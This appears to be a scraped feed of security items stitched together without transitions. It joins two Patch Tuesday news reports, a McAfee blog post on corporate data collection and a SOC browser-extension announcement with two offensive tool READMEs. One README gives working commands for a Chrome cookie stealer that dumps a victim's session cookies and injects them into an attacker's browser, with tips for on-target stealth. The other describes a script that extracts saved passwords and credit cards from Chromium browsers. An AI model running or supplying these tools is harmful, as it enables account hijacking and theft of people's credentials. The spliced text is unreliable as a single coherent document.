Login
Microsoft today issued security updates to fix at least 56 vulnerabilities in its Windows operating systems and supported software, including two zero-day flaws that are being actively exploited.
All supported Windows operating systems will receive an update this month for a buffer overflow vulnerability that carries the catchy name CVE-2025-21418. This patch should be a priority for enterprises, as Microsoft says it is being exploited, has low attack complexity, and no requirements for user interaction.
Tenable senior staff research engineer Satnam Narang noted that since 2022, there have been nine elevation of privilege vulnerabilities in this same Windows component — three each year — including one in 2024 that was exploited in the wild as a zero day (CVE-2024-38193).
“CVE-2024-38193 was exploited by the North Korean APT group known as Lazarus Group to implant a new version of the FudModule rootkit in order to maintain persistence and stealth on compromised systems,” Narang said. “At this time, it is unclear if CVE-2025-21418 was also exploited by Lazarus Group.”
The other zero-day, CVE-2025-21391, is an elevation of privilege vulnerability in Windows Storage that could be used to delete files on a targeted system. Microsoft’s advisory on this bug references something called “CWE-59: Improper Link Resolution Before File Access,” says no user interaction is required, and that the attack complexity is low.
Adam Barnett, lead software engineer at Rapid7, said although the advisory provides scant detail, and even offers some vague reassurance that ‘an attacker would only be able to delete targeted files on a system,’ it would be a mistake to assume that the impact of deleting arbitrary files would be limited to data loss or denial of service.
“As long ago as 2022, ZDI researchers set out how a motivated attacker could parlay arbitrary file deletion into full SYSTEM access using techniques which also involve creative misuse of symbolic links,”Barnett wrote.
One vulnerability patched today that was publicly disclosed earlier is CVE-2025-21377, another weakness that could allow an attacker to elevate their privileges on a vulnerable Windows system. Specifically, this is yet another Windows flaw that can be used to steal NTLMv2 hashes — essentially allowing an attacker to authenticate as the targeted user without having to log in.
According to Microsoft, minimal user interaction with a malicious file is needed to exploit CVE-2025-21377, including selecting, inspecting or “performing an action other than opening or executing the file.”
“This trademark linguistic ducking and weaving may be Microsoft’s way of saying ‘if we told you any more, we’d give the game away,'” Barnett said. “Accordingly, Microsoft assesses exploitation as more likely.”
The SANS Internet Storm Center has a handy list of all the Microsoft patches released today, indexed by severity. Windows enterprise administrators would do well to keep an eye on askwoody.com, which often has the scoop on any patches causing problems.
It’s getting harder to buy Windows software that isn’t also bundled with Microsoft’s flagship Copilot artificial intelligence (AI) feature. Last month Microsoft started bundling Copilot with Microsoft Office 365, which Redmond has since rebranded as “Microsoft 365 Copilot.” Ostensibly to offset the costs of its substantial AI investments, Microsoft also jacked up prices from 22 percent to 30 percent for upcoming license renewals and new subscribers.
Office-watch.com writes that existing Office 365 users who are paying an annual cloud license do have the option of “Microsoft 365 Classic,” an AI-free subscription at a lower price, but that many customers are not offered the option until they attempt to cancel their existing Office subscription.
In other security patch news, Apple has shipped iOS 18.3.1, which fixes a zero day vulnerability (CVE-2025-24200) that is showing up in attacks.
Adobe has issued security updates that fix a total of 45 vulnerabilities across InDesign, Commerce, Substance 3D Stager, InCopy, Illustrator, Substance 3D Designer and Photoshop Elements.
Chris Goettl at Ivanti notes that Google Chrome is shipping an update today which will trigger updates for Chromium based browsers including Microsoft Edge, so be on the lookout for Chrome and Edge updates as we proceed through the week.
Private tech companies gather tremendous amounts of user data. These companies can afford to let you use social media platforms free of charge because it’s paid for by your data, attention, and time.
Big tech derives most of its profits by selling your attention to advertisers — a well-known business model. Various documentaries (like Netflix’s “The Social Dilemma”) have tried to get to the bottom of the complex algorithms that big tech companies employ to mine and analyze user data for the benefit of third-party advertisers.
Tech companies benefit from personal info by being able to provide personalized ads. When you click “yes” at the end of a terms and conditions agreement found on some web pages, you might be allowing the companies to collect the following data:
For someone unfamiliar with privacy issues, it is important to understand the extent of big tech’s tracking and data collection. After these companies collect data, all this info can be supplied to third-party businesses or used to improve user experience.
The problem with this is that big tech has blurred the line between collecting customer data and violating user privacy in some cases. While tracking what content you interact with can be justified under the garb of personalizing the content you see, big tech platforms have been known to go too far. Prominent social networks like Facebook and LinkedIn have faced legal trouble for accessing personal user data like private messages and saved photos.
The info you provide helps build an accurate character profile and turns it into knowledge that gives actionable insights to businesses. Private data usage can be classified into three cases: selling it to data brokers, using it to improve marketing, or enhancing customer experience.
To sell your info to data brokers
Along with big data, another industry has seen rapid growth: data brokers. Data brokers buy, analyze, and package your data. Companies that collect large amounts of data on their users stand to profit from this service. Selling data to brokers is an important revenue stream for big tech companies.
Advertisers and businesses benefit from increased info on their consumers, creating a high demand for your info. The problem here is that companies like Facebook and Alphabet (Google’s parent company) have been known to mine massive amounts of user data for the sake of their advertisers.
To personalize marketing efforts
Marketing can be highly personalized thanks to the availability of large amounts of consumer data. Tracking your response to marketing campaigns can help businesses alter or improve certain aspects of their campaign to drive better results.
The problem is that most AI-based algorithms are incapable of assessing when they should stop collecting or using your info. After a point, users run the risk of being constantly subjected to intrusive ads and other unconsented marketing campaigns that pop up frequently.
To cater to the customer experience
Analyzing consumer behavior through reviews, feedback, and recommendations can help improve customer experience. Businesses have access to various facets of data that can be analyzed to show them how to meet consumer demands. This might help improve any part of a consumer’s interaction with the company, from designing special offers and discounts to improving customer relationships.
For most social media platforms, the goal is to curate a personalized feed that appeals to users and allows them to spend more time on the app. When left unmonitored, the powerful algorithms behind these social media platforms can repeatedly subject you to the same kind of content from different creators.
Here are the big tech companies that collect and mine the most user data.
Users need a comprehensive data privacy solution to tackle the rampant, large-scale data mining carried out by big tech platforms. While targeted advertisements and easily found items are beneficial, many of these companies collect and mine user data through several channels simultaneously, exploiting them in several ways.
It’s important to ensure your personal info is protected. Protection solutions like McAfee’s Personal Data Cleanup feature can help. It scours the web for traces of your personal info and helps remove it for your online privacy.
McAfee+ provides antivirus software for all your digital devices and a secure VPN connection to avoid exposure to malicious third parties while browsing the internet. Our Identity Monitoring and personal data removal solutions further remove gaps in your devices’ security systems.
With our data protection and custom guidance (complete with a protection score for each platform and tips to keep you safer), you can be sure that your internet identity is protected.
The post What Personal Data Do Companies Track? appeared first on McAfee Blog.
Microsoft today released updates to fix more than 60 security holes in Windows computers and supported software, including two “zero-day” vulnerabilities in Windows that are already being exploited in active attacks. There are also important security patches available for macOS and Adobe users, and for the Chrome Web browser, which just patched its own zero-day flaw.
First, the zero-days. CVE-2024-30051 is an “elevation of privilege” bug in a core Windows library. Satnam Narang at Tenable said this flaw is being used as part of post-compromise activity to elevate privileges as a local attacker.
“CVE-2024-30051 is used to gain initial access into a target environment and requires the use of social engineering tactics via email, social media or instant messaging to convince a target to open a specially crafted document file,” Narang said. “Once exploited, the attacker can bypass OLE mitigations in Microsoft 365 and Microsoft Office, which are security features designed to protect end users from malicious files.”
Kaspersky Lab, one of two companies credited with reporting exploitation of CVE-2024-30051 to Microsoft, has published a fascinating writeup on how they discovered the exploit in a file shared with Virustotal.com.
Kaspersky said it has since seen the exploit used together with QakBot and other malware. Emerging in 2007 as a banking trojan, QakBot (a.k.a. Qbot and Pinkslipbot) has morphed into an advanced malware strain now used by multiple cybercriminal groups to prepare newly compromised networks for ransomware infestations.
CVE-2024-30040 is a security feature bypass in MSHTML, a component that is deeply tied to the default Web browser on Windows systems. Microsoft’s advisory on this flaw is fairly sparse, but Kevin Breen from Immersive Labs said this vulnerability also affects Office 365 and Microsoft Office applications.
“Very little information is provided and the short description is painfully obtuse,” Breen said of Microsoft’s advisory on CVE-2024-30040.
The only vulnerability fixed this month that earned Microsoft’s most-dire “critical” rating is CVE-2024-30044, a flaw in Sharepoint that Microsoft said is likely to be exploited. Tenable’s Narang notes that exploitation of this bug requires an attacker to be authenticated to a vulnerable SharePoint Server with Site Owner permissions (or higher) first and to take additional steps in order to exploit this flaw, which makes this flaw less likely to be widely exploited as most attackers follow the path of least resistance.
Five days ago, Google released a security update for Chrome that fixes a zero-day in the popular browser. Chrome usually auto-downloads any available updates, but it still may require a complete restart of the browser to install them. If you use Chrome and see a “Relaunch to update” message in the upper right corner of the browser, it’s time to restart.
Apple has just shipped macOS Sonoma 14.5 update, which includes nearly two dozen security patches. To ensure your Mac is up-to-date, go to System Settings, General tab, then Software Update and follow any prompts.
Finally, Adobe has critical security patches available for a range of products, including Acrobat, Reader, Illustrator, Adobe Substance 3D Painter, Adobe Aero, Adobe Animate and Adobe Framemaker.
Regardless of whether you use a Mac or Windows system (or something else), it’s always a good idea to backup your data and or system before applying any security updates. For a closer look at the individual fixes released by Microsoft today, check out the complete list over at the SANS Internet Storm Center. Anyone in charge of maintaining Windows systems in an enterprise environment should keep an eye on askwoody.com, which usually has the scoop on any wonky Windows patches.
Update, May 15, 8:28 a.m.: Corrected misattribution of CVE-2024-30051.
Attaches to Chrome using its Remote DevTools protocol and steals/injects/clears/deletes cookies.
Heavily inspired by WhiteChocolateMacademiaNut.
Cookies are dumped as JSON objects using Chrome's own format. The same format is used for cookies to be loaded.
For legal use only.
Steal a victim's cookies:
FreshRSS git clone https://github.com/magisterquis/chromecookiestealer.git
cd chromecookiestealer
go build
pkill Chrome
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --remote-debugging-port=9222 --restore-last-session # Varies by target
./chromecookiestealer -dump ./cookies.jsonInject into the attacker's local browser:
# Start Chrome with a debug port, as above.
./chromecookiestealer -clear -inject ./cookies.jsonUsage: chromecookiestealer [options]
Attaches to Chrome using the Remote DevTools Protocol (--remote-debugging-port)
and, in order and as requested:
- Dumps cookies
- Clears cookies
- Injects cookies
- Deletes selected cookies
Parameters for cookies to be deleted should be represented as an array of JSON
objects with the following string fields:
name - Name of the cookies to remove.
url - If specified, deletes all the cookies with the given name where domain
and path match provided URL.
domain - If specified, deletes only cookies with the exact domain.
path - If specified, deletes only cookies with the exact path.
Filenames may also be "-" for stdin/stdout.
Options:
-chrome URL
Chrome remote debugging URL (default "ws://127.0.0.1:9222")
-clear
C lear browser cookies
-delete file
Name of file containing parameters for cookies to delete
-dump file
Name of file to which to dump stolen cookies
-inject file
Name of file containing cookies to inject
-no-summary
Don't print a summary on exit
-verbose
Enable verbose logging
go build should be all that's necessary. The following may be set at compile time with -ldflags '-X main.Foo=bar' for a touch more on-target stealth.
| Variable | Description |
|---|---|
| DumpFile | Name of a file to which to dump cookies. Implies -dump
|
| InjectFile | Name of a file from which to inject cookies. Implies -inject
|
| DeleteFile | Name of a file with parameters describing cookies to delete. Implies -delete
|
| DoClear | If set to any value, implies -clear
|
None of the above are set by default.
The Chrome DevTools Protocol is a bit of a moving target. It may be necessary to use a newer version of the chromedp and cdproto libraries should this program stop working. This can be done with
go get -u -v all
go mod tidy
go buildwhich could well have the side-effect of breaking everything else.
¯\_(ツ)_/¯
This python program gets all the saved passwords, credit cards and bookmarks from chromium based browsers supports chromium 80 and above!
To install all the required modules use the following code:
pip install -r requirements.txt
✔ Amigo
✔ Torch
✔ Kometa
✔ Orbitum
✔ Cent-browser
✔ 7star
✔ Sputnik
✔ Vivaldi
✔ Google-chrome-sxs
✔ Google-chrome
✔ Epic-privacy-browser
✔ Microsoft-edge
✔ Uran
✔ Yandex
✔ Brave
✔ Iridiumpip install -r requirements.txt
Just run this chromium_based_browsers.py the code will create a folder based on the browser name and stores the saved passwords, credit cards and bookmarks in that folder.
Introducing SOC Multi-tool, a free and open-source browser extension that makes investigations faster and more efficient. Now available on the Chrome Web Store and compatible with all Chromium-based browsers such as Microsoft Edge, Chrome, Brave, and Opera.
Now available on Chrome Web Store!
SOC Multi-tool eliminates the need for constant copying and pasting during investigations. Simply highlight the text you want to investigate, right-click, and navigate to the type of data highlighted. The extension will then open new tabs with the results of your investigation.
The SOC Multi-tool is a modernized multi-tool built from the ground up, with a range of features and capabilities. Some of the key features include:
You can easily install the extension by downloading the release from the Chrome Web Store!
If you wish to make edits you can download from the releases page, extract the folder and make your changes.
To load your edited extension turn on developer mode in your browser's extensions settings, click "Load unpacked" and select the extracted folder!
SOC Multi-tool is a community-driven project and the developer encourages users to contribute and share better resources.
s3-ep138-1200
